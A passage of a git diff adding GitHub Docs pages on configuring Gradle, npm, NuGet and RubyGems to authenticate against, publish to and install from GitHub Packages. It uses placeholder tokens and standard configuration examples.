/github/managing-packages-with-github-package-registry/configuring-gradle-for-use-with-github-package-registry + - /github/managing-packages-with-github-packages/configuring-gradle-for-use-with-github-packages + - /packages/using-github-packages-with-your-projects-ecosystem/configuring-gradle-for-use-with-github-packages + - /packages/guides/configuring-gradle-for-use-with-github-packages +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +shortTitle: Gradle registry +--- + +{% data reusables.package_registry.packages-ghes-release-stage %} +{% data reusables.package_registry.packages-ghae-release-stage %} + +{% data reusables.package_registry.admins-can-configure-package-types %} + +## Authenticating to {% data variables.product.prodname_registry %} + +{% data reusables.package_registry.authenticate-packages %} + +{% data reusables.package_registry.authenticate-packages-github-token %} For more information about using `GITHUB_TOKEN` with Gradle, see "[Publishing Java packages with Gradle](/actions/guides/publishing-java-packages-with-gradle#publishing-packages-to-github-packages)." + +### Authenticating with a personal access token + +{% data reusables.package_registry.required-scopes %} + +You can authenticate to {% data variables.product.prodname_registry %} with Gradle using either Gradle Groovy or Kotlin DSL by editing your *build.gradle* file (Gradle Groovy) or *build.gradle.kts* file (Kotlin DSL) file to include your personal access token. You can also configure Gradle Groovy and Kotlin DSL to recognize a single package or multiple packages in a repository. + +{% ifversion ghes %} +Replace *REGISTRY-URL* with the URL for your instance's Maven registry. If your instance has subdomain isolation enabled, use `maven.HOSTNAME`. If your instance has subdomain isolation disabled, use `HOSTNAME/_registry/maven`. In either case, replace *HOSTNAME* with the host name of your {% data variables.product.prodname_ghe_server %} instance. +{% elsif ghae %} +Replace *REGISTRY-URL* with the URL for your enterprise's Maven registry, `maven.HOSTNAME`. Replace *HOSTNAME* with the host name of {% data variables.product.product_location %}. +{% endif %} + +Replace *USERNAME* with your {% data variables.product.prodname_dotcom %} username, *TOKEN* with your personal access token, *REPOSITORY* with the name of the repository containing the package you want to publish, and *OWNER* with the name of the user or organization account on {% data variables.product.prodname_dotcom %} that owns the repository. Because uppercase letters aren't supported, you must use lowercase letters for the repository owner even if the {% data variables.product.prodname_dotcom %} user or organization name contains uppercase letters. + +{% note %} + +**Note:** {% data reusables.package_registry.apache-maven-snapshot-versions-supported %} For an example, see "[Configuring Apache Maven for use with {% data variables.product.prodname_registry %}](/packages/using-github-packages-with-your-projects-ecosystem/configuring-apache-maven-for-use-with-github-packages)." + +{% endnote %} + +#### Example using Gradle Groovy for a single package in a repository + +```shell +plugins { + id("maven-publish") +} +publishing { + repositories { + maven { + name = "GitHubPackages" + url = uri("https://{% ifversion fpt or ghec %}maven.pkg.github.com{% else %}REGISTRY-URL{% endif %}/OWNER/REPOSITORY") + credentials { + username = project.findProperty("gpr.user") ?: System.getenv("USERNAME") + password = project.findProperty("gpr.key") ?: System.getenv("TOKEN") + } + } + } + publications { + gpr(MavenPublication) { + from(components.java) + } + } +} +``` + +#### Example using Gradle Groovy for multiple packages in the same repository + +```shell +plugins { + id("maven-publish") apply false +} +subprojects { + apply plugin: "maven-publish" + publishing { + repositories { + maven { + name = "GitHubPackages" + url = uri("https://{% ifversion fpt or ghec %}maven.pkg.github.com{% else %}REGISTRY-URL{% endif %}/OWNER/REPOSITORY") + credentials { + username = project.findProperty("gpr.user") ?: System.getenv("USERNAME") + password = project.findProperty("gpr.key") ?: System.getenv("TOKEN") + } + } + } + publications { + gpr(MavenPublication) { + from(components.java) + } + } + } +} +``` + +#### Example using Kotlin DSL for a single package in the same repository + +```shell +plugins { + `maven-publish` +} +publishing { + repositories { + maven { + name = "GitHubPackages" + url = uri("https://{% ifversion fpt or ghec %}maven.pkg.github.com{% else %}REGISTRY-URL{% endif %}/OWNER/REPOSITORY") + credentials { + username = project.findProperty("gpr.user") as String? ?: System.getenv("USERNAME") + password = project.findProperty("gpr.key") as String? ?: System.getenv("TOKEN") + } + } + } + publications { + register<MavenPublication>("gpr") { + from(components["java"]) + } + } +} +``` + +#### Example using Kotlin DSL for multiple packages in the same repository + +```shell +plugins { + `maven-publish` apply false +} +subprojects { + apply(plugin = "maven-publish") + configure<PublishingExtension> { + repositories { + maven { + name = "GitHubPackages" + url = uri("https://{% ifversion fpt or ghec %}maven.pkg.github.com{% else %}REGISTRY-URL{% endif %}/OWNER/REPOSITORY") + credentials { + username = project.findProperty("gpr.user") as String? ?: System.getenv("USERNAME") + password = project.findProperty("gpr.key") as String? ?: System.getenv("TOKEN") + } + } + } + publications { + register<MavenPublication>("gpr") { + from(components["java"]) + } + } + } +} +``` + +## Publishing a package + +{% data reusables.package_registry.default-name %} For example, {% data variables.product.prodname_dotcom %} will publish a package named `com.example.test` in the `OWNER/test` {% data variables.product.prodname_registry %} repository. + +{% data reusables.package_registry.viewing-packages %} + +{% data reusables.package_registry.authenticate-step %} +2. After creating your package, you can publish the package. + + ```shell + $ gradle publish + ``` + +## Using a published package + +To use a published package from {% data variables.product.prodname_registry %}, add the package as a dependency and add the repository to your project. For more information, see "[Declaring dependencies](https://docs.gradle.org/current/userguide/declaring_dependencies.html)" in the Gradle documentation. + +{% data reusables.package_registry.authenticate-step %} +2. Add the package dependencies to your *build.gradle* file (Gradle Groovy) or *build.gradle.kts* file (Kotlin DSL) file. + + Example using Gradle Groovy: + ```shell + dependencies { + implementation 'com.example:package' + } + ``` + Example using Kotlin DSL: + ```shell + dependencies { + implementation("com.example:package") + } + ``` + +3. Add the repository to your *build.gradle* file (Gradle Groovy) or *build.gradle.kts* file (Kotlin DSL) file. + + Example using Gradle Groovy: + ```shell + repositories { + maven { + url = uri("https://{% ifversion fpt or ghec %}maven.pkg.github.com{% else %}REGISTRY-URL{% endif %}/OWNER/REPOSITORY") + credentials { + username = project.findProperty("gpr.user") ?: System.getenv("USERNAME") + password = project.findProperty("gpr.key") ?: System.getenv("TOKEN") + } + } + } + ``` + Example using Kotlin DSL: + ```shell + repositories { + maven { + url = uri("https://{% ifversion fpt or ghec %}maven.pkg.github.com{% else %}REGISTRY-URL{% endif %}/OWNER/REPOSITORY") + credentials { + username = project.findProperty("gpr.user") as String? ?: System.getenv("USERNAME") + password = project.findProperty("gpr.key") as String? ?: System.getenv("TOKEN") + } + } + } + ``` + +## Further reading + +- "[Working with the Apache Maven registry](/packages/working-with-a-github-packages-registry/working-with-the-apache-maven-registry)" +- "{% ifversion fpt or ghes > 3.0 or ghec %}[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 or ghae %}[Deleting a package](/packages/learn-github-packages/deleting-a-package){% endif %}" diff --git a/translations/pt-BR/content/packages/working-with-a-github-packages-registry/working-with-the-npm-registry.md b/translations/pt-BR/content/packages/working-with-a-github-packages-registry/working-with-the-npm-registry.md new file mode 100644 index 0000000000..6f606db0cb --- /dev/null +++ b/translations/pt-BR/content/packages/working-with-a-github-packages-registry/working-with-the-npm-registry.md @@ -0,0 +1,218 @@ +--- +title: Working with the npm registry +intro: 'You can configure npm to publish packages to {% data variables.product.prodname_registry %} and to use packages stored on {% data variables.product.prodname_registry %} as dependencies in an npm project.' +product: '{% data reusables.gated-features.packages %}' +redirect_from: + - /articles/configuring-npm-for-use-with-github-package-registry + - /github/managing-packages-with-github-package-registry/configuring-npm-for-use-with-github-package-registry + - /github/managing-packages-with-github-packages/configuring-npm-for-use-with-github-packages + - /packages/using-github-packages-with-your-projects-ecosystem/configuring-npm-for-use-with-github-packages + - /packages/guides/configuring-npm-for-use-with-github-packages +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +shortTitle: npm registry +--- + +{% data reusables.package_registry.packages-ghes-release-stage %} +{% data reusables.package_registry.packages-ghae-release-stage %} + +{% data reusables.package_registry.admins-can-configure-package-types %} + +## Limits for published npm versions + +If you publish over 1,000 npm package versions to {% data variables.product.prodname_registry %}, you may see performance issues and timeouts occur during usage. + +In the future, to improve performance of the service, you won't be able to publish more than 1,000 versions of a package on {% data variables.product.prodname_dotcom %}. Any versions published before hitting this limit will still be readable. + +If you reach this limit, consider deleting package versions or contact Support for help. When this limit is enforced, our documentation will be updated with a way to work around this limit. For more information, see "{% ifversion fpt or ghes > 3.0 or ghec %}[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 or ghae %}[Deleting a package](/packages/learn-github-packages/deleting-a-package){% endif %}" or "[Contacting Support](/packages/learn-github-packages/about-github-packages#contacting-support)." + +## Authenticating to {% data variables.product.prodname_registry %} + +{% data reusables.package_registry.authenticate-packages %} + +{% data reusables.package_registry.authenticate-packages-github-token %} + +### Authenticating with a personal access token + +{% data reusables.package_registry.required-scopes %} + +You can authenticate to {% data variables.product.prodname_registry %} with npm by either editing your per-user *~/.npmrc* file to include your personal access token or by logging in to npm on the command line using your username and personal access token. + +To authenticate by adding your personal access token to your *~/.npmrc* file, edit the *~/.npmrc* file for your project to include the following line, replacing {% ifversion ghes or ghae %}*HOSTNAME* with the host name of {% data variables.product.product_location %} and {% endif %}*TOKEN* with your personal access token. Create a new *~/.npmrc* file if one doesn't exist. + +{% ifversion ghes %} +If your instance has subdomain isolation enabled: +{% endif %} + +```shell +//{% ifversion fpt or ghec %}npm.pkg.github.com{% else %}npm.HOSTNAME/{% endif %}/:_authToken=TOKEN +``` + +{% ifversion ghes %} +If your instance has subdomain isolation disabled: + +```shell +//HOSTNAME/_registry/npm/:_authToken=TOKEN +``` +{% endif %} + +To authenticate by logging in to npm, use the `npm login` command, replacing *USERNAME* with your {% data variables.product.prodname_dotcom %} username, *TOKEN* with your personal access token, and *PUBLIC-EMAIL-ADDRESS* with your email address. + +If {% data variables.product.prodname_registry %} is not your default package registry for using npm and you want to use the `npm audit` command, we recommend you use the `--scope` flag with the owner of the package when you authenticate to {% data variables.product.prodname_registry %}. + +{% ifversion ghes %} +If your instance has subdomain isolation enabled: +{% endif %} + +```shell +$ npm login --scope=@OWNER --registry=https://{% ifversion fpt or ghec %}npm.pkg.github.com{% else %}npm.HOSTNAME/{% endif %} + +> Username: USERNAME +> Password: TOKEN +> Email: PUBLIC-EMAIL-ADDRESS +``` + +{% ifversion ghes %} +If your instance has subdomain isolation disabled: + +```shell +$ npm login --scope=@OWNER --registry=https://HOSTNAME/_registry/npm/ +> Username: USERNAME +> Password: TOKEN +> Email: PUBLIC-EMAIL-ADDRESS +``` +{% endif %} + +## Publishing a package + +{% note %} + +**Note:** Package names and scopes must only use lowercase letters. + +{% endnote %} + +By default, {% data variables.product.prodname_registry %} publishes a package in the {% data variables.product.prodname_dotcom %} repository you specify in the name field of the *package.json* file. For example, you would publish a package named `@my-org/test` to the `my-org/test` {% data variables.product.prodname_dotcom %} repository. You can add a summary for the package listing page by including a *README.md* file in your package directory. For more information, see "[Working with package.json](https://docs.npmjs.com/getting-started/using-a-package.json)" and "[How to create Node.js Modules](https://docs.npmjs.com/getting-started/creating-node-modules)" in the npm documentation. + +You can publish multiple packages to the same {% data variables.product.prodname_dotcom %} repository by including a `URL` field in the *package.json* file. For more information, see "[Publishing multiple packages to the same repository](#publishing-multiple-packages-to-the-same-repository)." + +You can set up the scope mapping for your project using either a local *.npmrc* file in the project or using the `publishConfig` option in the *package.json*. {% data variables.product.prodname_registry %} only supports scoped npm packages. Scoped packages have names with the format of `@owner/name`. Scoped packages always begin with an `@` symbol. You may need to update the name in your *package.json* to use the scoped name. For example, `"name": "@codertocat/hello-world-npm"`. + +{% data reusables.package_registry.viewing-packages %} + +### Publishing a package using a local *.npmrc* file + +You can use an *.npmrc* file to configure the scope mapping for your project. In the *.npmrc* file, use the {% data variables.product.prodname_registry %} URL and account owner so {% data variables.product.prodname_registry %} knows where to route package requests. Using an *.npmrc* file prevents other developers from accidentally publishing the package to npmjs.org instead of {% data variables.product.prodname_registry %}. + +{% data reusables.package_registry.authenticate-step %} +{% data reusables.package_registry.create-npmrc-owner-step %} +{% data reusables.package_registry.add-npmrc-to-repo-step %} +1. Verify the name of your package in your project's *package.json*. The `name` field must contain the scope and the name of the package. For example, if your package is called "test", and you are publishing to the "My-org" {% data variables.product.prodname_dotcom %} organization, the `name` field in your *package.json* should be `@my-org/test`. +{% data reusables.package_registry.verify_repository_field %} +{% data reusables.package_registry.publish_package %} + +### Publishing a package using `publishConfig` in the *package.json* file + +You can use `publishConfig` element in the *package.json* file to specify the registry where you want the package published. For more information, see "[publishConfig](https://docs.npmjs.com/files/package.json#publishconfig)" in the npm documentation. + +1. Edit the *package.json* file for your package and include a `publishConfig` entry. + {% ifversion ghes %} + If your instance has subdomain isolation enabled: + {% endif %} + ```shell + "publishConfig": { + "registry":"https://{% ifversion fpt or ghec %}npm.pkg.github.com{% else %}npm.HOSTNAME/{% endif %}" + }, + ``` + {% ifversion ghes %} + If your instance has subdomain isolation disabled: + ```shell + "publishConfig": { + "registry":"https://HOSTNAME/_registry/npm/" + }, + ``` + {% endif %} +{% data reusables.package_registry.verify_repository_field %} +{% data reusables.package_registry.publish_package %} + +## Publishing multiple packages to the same repository + +To publish multiple packages to the same repository, you can include the URL of the {% data variables.product.prodname_dotcom %} repository in the `repository` field of the *package.json* file for each package. + +To ensure the repository's URL is correct, replace REPOSITORY with the name of the repository containing the package you want to publish, and OWNER with the name of the user or organization account on {% data variables.product.prodname_dotcom %} that owns the repository. + +{% data variables.product.prodname_registry %} will match the repository based on the URL, instead of based on the package name. + +```shell +"repository":"https://{% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %}/OWNER/REPOSITORY", +``` + +## Installing a package + +You can install packages from {% data variables.product.prodname_registry %} by adding the packages as dependencies in the *package.json* file for your project. For more information on using a *package.json* in your project, see "[Working with package.json](https://docs.npmjs.com/getting-started/using-a-package.json)" in the npm documentation. + +By default, you can add packages from one organization. For more information, see "[Installing packages from other organizations](#installing-packages-from-other-organizations)." + +You also need to add the *.npmrc* file to your project so that all requests to install packages will {% ifversion ghae %}be routed to{% else %}go through{% endif %} {% data variables.product.prodname_registry %}. {% ifversion fpt or ghes or ghec %}When you route all package requests through {% data variables.product.prodname_registry %}, you can use both scoped and unscoped packages from *npmjs.org*. For more information, see "[npm-scope](https://docs.npmjs.com/misc/scope)" in the npm documentation.{% endif %} + +{% ifversion ghae %} +By default, you can only use npm packages hosted on your enterprise, and you will not be able to use unscoped packages. For more information on package scoping, see "[npm-scope](https://docs.npmjs.com/misc/scope)" in the npm documentation. If required, {% data variables.product.prodname_dotcom %} support can enable an upstream proxy to npmjs.org. Once an upstream proxy is enabled, if a requested package isn't found on your enterprise, {% data variables.product.prodname_registry %} makes a proxy request to npmjs.org. +{% endif %} + +{% data reusables.package_registry.authenticate-step %} +{% data reusables.package_registry.create-npmrc-owner-step %} +{% data reusables.package_registry.add-npmrc-to-repo-step %} +4. Configure *package.json* in your project to use the package you are installing. To add your package dependencies to the *package.json* file for {% data variables.product.prodname_registry %}, specify the full-scoped package name, such as `@my-org/server`. For packages from *npmjs.com*, specify the full name, such as `@babel/core` or `@lodash`. For example, this following *package.json* uses the `@octo-org/octo-app` package as a dependency. + + ```json + { + "name": "@my-org/server", + "version": "1.0.0", + "description": "Server app that uses the @octo-org/octo-app package", + "main": "index.js", + "author": "", + "license": "MIT", + "dependencies": { + "@octo-org/octo-app": "1.0.0" + } + } + ``` +5. Install the package. + + ```shell + $ npm install + ``` + +### Installing packages from other organizations + +By default, you can only use {% data variables.product.prodname_registry %} packages from one organization. If you'd like to route package requests to multiple organizations and users, you can add additional lines to your *.npmrc* file, replacing {% ifversion ghes or ghae %}*HOSTNAME* with the host name of {% data variables.product.product_location %} and {% endif %}*OWNER* with the name of the user or organization account that owns the repository containing your project. + +{% ifversion ghes %} +If your instance has subdomain isolation enabled: +{% endif %} + +```shell +@OWNER:registry=https://{% ifversion fpt or ghec %}npm.pkg.github.com{% else %}npm.HOSTNAME{% endif %} +@OWNER:registry=https://{% ifversion fpt or ghec %}npm.pkg.github.com{% else %}npm.HOSTNAME{% endif %} +``` + +{% ifversion ghes %} +If your instance has subdomain isolation disabled: + +```shell +@OWNER:registry=https://HOSTNAME/_registry/npm +@OWNER:registry=https://HOSTNAME/_registry/npm +``` +{% endif %} + +{% ifversion ghes %} +## Using the official NPM registry + +{% data variables.product.prodname_registry %} allows you to access the official NPM registry at `registry.npmjs.com`, if your {% data variables.product.prodname_ghe_server %} administrator has enabled this feature. For more information, see [Connecting to the official NPM registry](/admin/packages/configuring-packages-support-for-your-enterprise#connecting-to-the-official-npm-registry). +{% endif %} + +## Further reading + +- "{% ifversion fpt or ghes > 3.0 or ghec %}[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 or ghae %}[Deleting a package](/packages/learn-github-packages/deleting-a-package){% endif %}" diff --git a/translations/pt-BR/content/packages/working-with-a-github-packages-registry/working-with-the-nuget-registry.md b/translations/pt-BR/content/packages/working-with-a-github-packages-registry/working-with-the-nuget-registry.md new file mode 100644 index 0000000000..347a099de3 --- /dev/null +++ b/translations/pt-BR/content/packages/working-with-a-github-packages-registry/working-with-the-nuget-registry.md @@ -0,0 +1,236 @@ +--- +title: Working with the NuGet registry +intro: 'You can configure the `dotnet` command-line interface (CLI) to publish NuGet packages to {% data variables.product.prodname_registry %} and to use packages stored on {% data variables.product.prodname_registry %} as dependencies in a .NET project.' +product: '{% data reusables.gated-features.packages %}' +redirect_from: + - /articles/configuring-nuget-for-use-with-github-package-registry + - /github/managing-packages-with-github-package-registry/configuring-nuget-for-use-with-github-package-registry + - /github/managing-packages-with-github-packages/configuring-nuget-for-use-with-github-packages + - /github/managing-packages-with-github-packages/configuring-dotnet-cli-for-use-with-github-packages + - /packages/using-github-packages-with-your-projects-ecosystem/configuring-dotnet-cli-for-use-with-github-packages + - /packages/guides/configuring-dotnet-cli-for-use-with-github-packages +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +shortTitle: NuGet registry +--- + +{% data reusables.package_registry.packages-ghes-release-stage %} +{% data reusables.package_registry.packages-ghae-release-stage %} + +{% data reusables.package_registry.admins-can-configure-package-types %} + +## Authenticating to {% data variables.product.prodname_registry %} + +{% data reusables.package_registry.authenticate-packages %} + +### Authenticating with `GITHUB_TOKEN` in {% data variables.product.prodname_actions %} + +Use the following command to authenticate to {% data variables.product.prodname_registry %} in a {% data variables.product.prodname_actions %} workflow using the `GITHUB_TOKEN` instead of hardcoding a token in a nuget.config file in the repository: + +```shell +dotnet nuget add source --username USERNAME --password {%raw%}${{ secrets.GITHUB_TOKEN }}{% endraw %} --store-password-in-clear-text --name github "https://{% ifversion fpt or ghec %}nuget.pkg.github.com{% else %}nuget.HOSTNAME{% endif %}/OWNER/index.json" +``` + +{% data reusables.package_registry.authenticate-packages-github-token %} + +### Authenticating with a personal access token + +{% data reusables.package_registry.required-scopes %} + +To authenticate to {% data variables.product.prodname_registry %} with the `dotnet` command-line interface (CLI), create a *nuget.config* file in your project directory specifying {% data variables.product.prodname_registry %} as a source under `packageSources` for the `dotnet` CLI client. + +You must replace: +- `USERNAME` with the name of your user account on {% data variables.product.prodname_dotcom %}. +- `TOKEN` with your personal access token. +- `OWNER` with the name of the user or organization account that owns the repository containing your project.{% ifversion ghes or ghae %} +- `HOSTNAME` with the host name for {% data variables.product.product_location %}.{% endif %} + +{% ifversion ghes %}If your instance has subdomain isolation enabled: +{% endif %} + +```xml + + + + + + + + + + + + + +``` + +{% ifversion ghes %} +If your instance has subdomain isolation disabled: + +```xml + + + + + + + + + + + + + +``` +{% endif %} + +## Publishing a package + +You can publish a package to {% data variables.product.prodname_registry %} by authenticating with a *nuget.config* file, or by using the `--api-key` command line option with your {% data variables.product.prodname_dotcom %} personal access token (PAT). + +### Publishing a package using a GitHub PAT as your API key + +If you don't already have a PAT to use for your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}, see "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token)." + +1. Create a new project. + ```shell + dotnet new console --name OctocatApp + ``` +2. Package the project. + ```shell + dotnet pack --configuration Release + ``` + +3. Publish the package using your PAT as the API key. + ```shell + dotnet nuget push "bin/Release/OctocatApp.1.0.0.nupkg" --api-key YOUR_GITHUB_PAT --source "github" + ``` + +{% data reusables.package_registry.viewing-packages %} + + +### Publishing a package using a *nuget.config* file + +When publishing, you need to use the same value for `OWNER` in your *csproj* file that you use in your *nuget.config* authentication file. Specify or increment the version number in your *.csproj* file, then use the `dotnet pack` command to create a *.nuspec* file for that version. For more information on creating your package, see "[Create and publish a package](https://docs.microsoft.com/nuget/quickstart/create-and-publish-a-package-using-the-dotnet-cli)" in the Microsoft documentation. + +{% data reusables.package_registry.authenticate-step %} +2. Create a new project. + ```shell + dotnet new console --name OctocatApp + ``` +3. Add your project's specific information to your project's file, which ends in *.csproj*. You must replace: + - `OWNER` with the name of the user or organization account that owns the repository containing your project. + - `REPOSITORY` with the name of the repository containing the package you want to publish. + - `1.0.0` with the version number of the package.{% ifversion ghes or ghae %} + - `HOSTNAME` with the host name for {% data variables.product.product_location %}.{% endif %} + ``` xml + + + + Exe + netcoreapp3.0 + OctocatApp + 1.0.0 + Octocat + GitHub + This package adds an Octocat! + https://{% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %}/OWNER/REPOSITORY + + + + ``` +4. Package the project. + ```shell + dotnet pack --configuration Release + ``` + +5. Publish the package using the `key` you specified in the *nuget.config* file. + ```shell + dotnet nuget push "bin/Release/OctocatApp.1.0.0.nupkg" --source "github" + ``` + +{% data reusables.package_registry.viewing-packages %} + +## Publishing multiple packages to the same repository + +To publish multiple packages to the same repository, you can include the same {% data variables.product.prodname_dotcom %} repository URL in the `RepositoryURL` fields in all *.csproj* project files. {% data variables.product.prodname_dotcom %} matches the repository based on that field. + +For example, the *OctodogApp* and *OctocatApp* projects will publish to the same repository: + +``` xml + + + + Exe + netcoreapp3.0 + OctodogApp + 1.0.0 + Octodog + GitHub + This package adds an Octodog! + https://{% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %}/octo-org/octo-cats-and-dogs + + + +``` + +``` xml + + + + Exe + netcoreapp3.0 + OctocatApp + 1.0.0 + Octocat + GitHub + This package adds an Octocat! + https://{% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %}/octo-org/octo-cats-and-dogs + + + +``` + +## Installing a package + +Using packages from {% data variables.product.prodname_dotcom %} in your project is similar to using packages from *nuget.org*. Add your package dependencies to your *.csproj* file, specifying the package name and version. For more information on using a *.csproj* file in your project, see "[Working with NuGet packages](https://docs.microsoft.com/nuget/consume-packages/overview-and-workflow)" in the Microsoft documentation. + +{% data reusables.package_registry.authenticate-step %} + +2. To use a package, add `ItemGroup` and configure the `PackageReference` field in the *.csproj* project file, replacing the `OctokittenApp` package with your package dependency and `1.0.0` with the version you want to use: + ``` xml + + + + Exe + netcoreapp3.0 + OctocatApp + 1.0.0 + Octocat + GitHub + This package adds an Octocat! + https://{% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %}/OWNER/REPOSITORY + + + + + + + + ``` + +3. Install the packages with the `restore` command. + ```shell + dotnet restore + ``` + +## Troubleshooting + +Your NuGet package may fail to push if the `RepositoryUrl` in *.csproj* is not set to the expected repository . + +## Further reading + +- "{% ifversion fpt or ghes > 3.0 or ghec %}[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 or ghae %}[Deleting a package](/packages/learn-github-packages/deleting-a-package){% endif %}" diff --git a/translations/pt-BR/content/packages/working-with-a-github-packages-registry/working-with-the-rubygems-registry.md b/translations/pt-BR/content/packages/working-with-a-github-packages-registry/working-with-the-rubygems-registry.md new file mode 100644 index 0000000000..7afbca5c42 --- /dev/null +++ b/translations/pt-BR/content/packages/working-with-a-github-packages-registry/working-with-the-rubygems-registry.md @@ -0,0 +1,156 @@ +--- +title: Working with the RubyGems registry +intro: 'You can configure RubyGems to publish a package to {% data variables.product.prodname_registry %} and to use packages stored on {% data variables.product.prodname_registry %} as dependencies in a Ruby project with Bundler.' +product: '{% data reusables.gated-features.packages %}' +redirect_from: + - /articles/configuring-rubygems-for-use-with-github-package-registry + - /github/managing-packages-with-github-package-registry/configuring-rubygems-for-use-with-github-package-registry + - /github/managing-packages-with-github-packages/configuring-rubygems-for-use-with-github-packages + - /packages/using-github-packages-with-your-projects-ecosystem/configuring-rubygems-for-use-with-github-packages + - /packages/guides/configuring-rubygems-for-use-with-github-packages +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +shortTitle: RubyGems registry +--- + +{% data reusables.package_registry.packages-ghes-release-stage %} +{% data reusables.package_registry.packages-ghae-release-stage %} + +{% data reusables.package_registry.admins-can-configure-package-types %} + +## Prerequisites + +- You must have rubygems 2.4.1 or higher. To find your rubygems version: + + ```shell + $ gem --version + ``` + +- You must have bundler 1.6.4 or higher. To find your Bundler version: + + ```shell + $ bundle --version + Bundler version 1.13.7 + ``` + +- Install keycutter to manage multiple credentials. To install keycutter: + + ```shell + $ gem install keycutter + ``` + +## Authenticating to {% data variables.product.prodname_registry %} + +{% data reusables.package_registry.authenticate-packages %} + +{% data reusables.package_registry.authenticate-packages-github-token %} + +### Authenticating with a personal access token + +{% data reusables.package_registry.required-scopes %} + +You can authenticate to {% data variables.product.prodname_registry %} with RubyGems by editing the *~/.gem/credentials* file for publishing gems, editing the *~/.gemrc* file for installing a single gem, or using Bundler for tracking and installing one or more gems. + +To publish new gems, you need to authenticate to {% data variables.product.prodname_registry %} with RubyGems by editing your *~/.gem/credentials* file to include your personal access token. Create a new *~/.gem/credentials* file if this file doesn't exist. + +For example, you would create or edit a *~/.gem/credentials* to include the following, replacing *TOKEN* with your personal access token. + +```shell +--- +:github: Bearer TOKEN +``` + +To install gems, you need to authenticate to {% data variables.product.prodname_registry %} by editing the *~/.gemrc* file for your project to include `https://USERNAME:TOKEN@{% ifversion fpt or ghec %}rubygems.pkg.github.com{% else %}REGISTRY-URL{% endif %}/OWNER/`. You must replace: + - `USERNAME` with your {% data variables.product.prodname_dotcom %} username. + - `TOKEN` with your personal access token. + - `OWNER` with the name of the user or organization account that owns the repository containing your project.{% ifversion ghes %} + - `REGISTRY-URL` with the URL for your instance's Rubygems registry. If your instance has subdomain isolation enabled, use `rubygems.HOSTNAME`. If your instance has subdomain isolation disabled, use `HOSTNAME/_registry/rubygems`. In either case, replace *HOSTNAME* with the hostname of your {% data variables.product.prodname_ghe_server %} instance. +{% elsif ghae %} + - `REGISTRY-URL` with the URL for your instance's Rubygems registry, `rubygems.HOSTNAME`. Replace *HOSTNAME* with the hostname of {% data variables.product.product_location %}. +{% endif %} + +If you don't have a *~/.gemrc* file, create a new *~/.gemrc* file using this example. + +```shell +--- +:backtrace: false +:bulk_threshold: 1000 +:sources: +- https://rubygems.org/ +- https://USERNAME:TOKEN@{% ifversion fpt or ghec %}rubygems.pkg.github.com{% else %}REGISTRY-URL{% endif %}/OWNER/ +:update_sources: true +:verbose: true + +``` + +To authenticate with Bundler, configure Bundler to use your personal access token, replacing *USERNAME* with your {% data variables.product.prodname_dotcom %} username, *TOKEN* with your personal access token, and *OWNER* with the name of the user or organization account that owns the repository containing your project.{% ifversion ghes %} Replace `REGISTRY-URL` with the URL for your instance's Rubygems registry. If your instance has subdomain isolation enabled, use `rubygems.HOSTNAME`. If your instance has subdomain isolation disabled, use `HOSTNAME/_registry/rubygems`. In either case, replace *HOSTNAME* with the hostname of your {% data variables.product.prodname_ghe_server %} instance.{% elsif ghae %}Replace `REGISTRY-URL` with the URL for your instance's Rubygems registry, `rubygems.HOSTNAME`. Replace *HOSTNAME* with the hostname of {% data variables.product.product_location %}.{% endif %} + +```shell +$ bundle config https://{% ifversion fpt or ghec %}rubygems.pkg.github.com{% else %}REGISTRY-URL{% endif %}/OWNER USERNAME:TOKEN +``` + +## Publishing a package + +{% data reusables.package_registry.default-name %} For example, when you publish `octo-gem` to the `octo-org` organization, {% data variables.product.prodname_registry %} publishes the gem to the `octo-org/octo-gem` repository. For more information on creating your gem, see "[Make your own gem](http://guides.rubygems.org/make-your-own-gem/)" in the RubyGems documentation. + +{% data reusables.package_registry.viewing-packages %} + +{% data reusables.package_registry.authenticate-step %} +2. Build the package from the *gemspec* to create the *.gem* package. + ```shell + gem build OCTO-GEM.gemspec + ``` +3. Publish a package to {% data variables.product.prodname_registry %}, replacing `OWNER` with the name of the user or organization account that owns the repository containing your project and `OCTO-GEM` with the name of your gem package.{% ifversion ghes %} Replace `REGISTRY-URL` with the URL for your instance's Rubygems registry. If your instance has subdomain isolation enabled, use `rubygems.HOSTNAME`. If your instance has subdomain isolation disabled, use `HOSTNAME/_registry/rubygems`. In either case, replace *HOSTNAME* with the host name of your {% data variables.product.prodname_ghe_server %} instance.{% elsif ghae %} Replace `REGISTRY-URL` with the URL for your instance's Rubygems registry, `rubygems.HOSTNAME`. Replace *HOSTNAME* with the hostname of {% data variables.product.product_location %}.{% endif %} + + ```shell + $ gem push --key github \ + --host https://{% ifversion fpt or ghec %}rubygems.pkg.github.com{% else %}REGISTRY-URL{% endif %}/OWNER \ + OCTO-GEM-0.0.1.gem + ``` + +## Publishing multiple packages to the same repository + +To publish multiple gems to the same repository, you can include the URL to the {% data variables.product.prodname_dotcom %} repository in the `github_repo` field in `gem.metadata`. If you include this field, {% data variables.product.prodname_dotcom %} matches the repository based on this value, instead of using the gem name.{% ifversion ghes or ghae %} Replace *HOSTNAME* with the host name of {% data variables.product.product_location %}.{% endif %} + +```ruby +gem.metadata = { "github_repo" => "ssh://{% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %}/OWNER/REPOSITORY" } +``` + +## Installing a package + +You can use gems from {% data variables.product.prodname_registry %} much like you use gems from *rubygems.org*. You need to authenticate to {% data variables.product.prodname_registry %} by adding your {% data variables.product.prodname_dotcom %} user or organization as a source in the *~/.gemrc* file or by using 